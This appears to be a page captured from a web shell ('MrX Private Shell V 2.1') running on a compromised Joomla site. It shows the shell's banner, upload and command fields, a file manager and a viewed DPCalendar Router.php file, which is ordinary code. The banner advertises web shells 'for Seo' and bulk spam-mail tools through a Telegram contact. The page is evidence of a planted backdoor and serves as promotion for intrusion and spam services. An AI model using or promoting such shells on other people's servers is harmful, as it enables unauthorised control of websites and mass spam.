__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package   DPCalendar
 * @copyright Copyright (C) 2018 Digital Peak GmbH. <https://www.digital-peak.com>
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU/GPL
 */

namespace DigitalPeak\Component\DPCalendar\Administrator\Router;

use DigitalPeak\Component\DPCalendar\Site\Helper\RouteHelper;
use Joomla\CMS\Router\Route;

class Router
{
	public function route(string $url, ?bool $xhtml = true): string
	{
		return Route::_($url, $xhtml ?? true);
	}

	public function getCalendarRoute(string $calId): string
	{
		return Route::_(RouteHelper::getCalendarRoute($calId));
	}

	public function getCalendarIcalRoute(string $calId, ?string $token = ''): string
	{
		return RouteHelper::getCalendarIcalRoute($calId, $token);
	}

	/**
	 * @param string|int $id
	 */
	public static function getEventRoute($id, ?string $calId = '', bool $full = false, bool $autoRoute = true, ?int $defaultItemId = 0): string
	{
		return RouteHelper::getEventRoute($id, $calId, $full, $autoRoute, $defaultItemId);
	}

	public function getEventFormRoute(?string $id, ?string $return = null, ?string $append = null, ?bool $xhtml = true): string
	{
		return Route::_(RouteHelper::getFormRoute($id, $return, $append), \is_bool($xhtml) ? $xhtml : true);
	}

	public function getEventDeleteRoute(string $id, ?string $return = null): string
	{
		return Route::_('index.php?option=com_dpcalendar&task=event.delete&e_id=' . $id . '&return=' . base64_encode($return !== null && $return !== '' && $return !== '0' ? $return : ''));
	}

	public function getLocationRoute(\stdClass $location): string
	{
		return RouteHelper::getLocationRoute($location);
	}

	public function getLocationFormRoute(?string $id, ?string $return = null): string
	{
		return RouteHelper::getLocationFormRoute($id, $return);
	}

	public static function getBookingRoute(\stdClass $booking, ?bool $full = false): string
	{
		return RouteHelper::getBookingRoute($booking, $full);
	}

	public static function getBookingFormRoute(\stdClass $booking, ?string $return = null): string
	{
		return RouteHelper::getBookingFormRoute($booking, $return);
	}

	public function getBookingFormRouteFromEvent(\stdClass $event, ?string $return = null, ?bool $autoRoute = true, ?int $defaultItemId = 0): string
	{
		return RouteHelper::getBookingFormRouteFromEvent($event, $return, $autoRoute, $defaultItemId);
	}

	public static function getTicketRoute(\stdClass $ticket, ?bool $full = false): string
	{
		return RouteHelper::getTicketRoute($ticket, $full);
	}

	public static function getTicketFormRoute(string $ticketId, ?string $return = null): string
	{
		return RouteHelper::getTicketFormRoute($ticketId, $return);
	}

	public static function getTicketDeleteRoute(string $ticketId, ?string $return = null): string
	{
		return RouteHelper::getTicketDeleteRoute($ticketId, $return);
	}
}

Filemanager

Name Type Size Permission Actions
Rules Folder 0775
Router.php File 2.77 KB 0664
Filemanager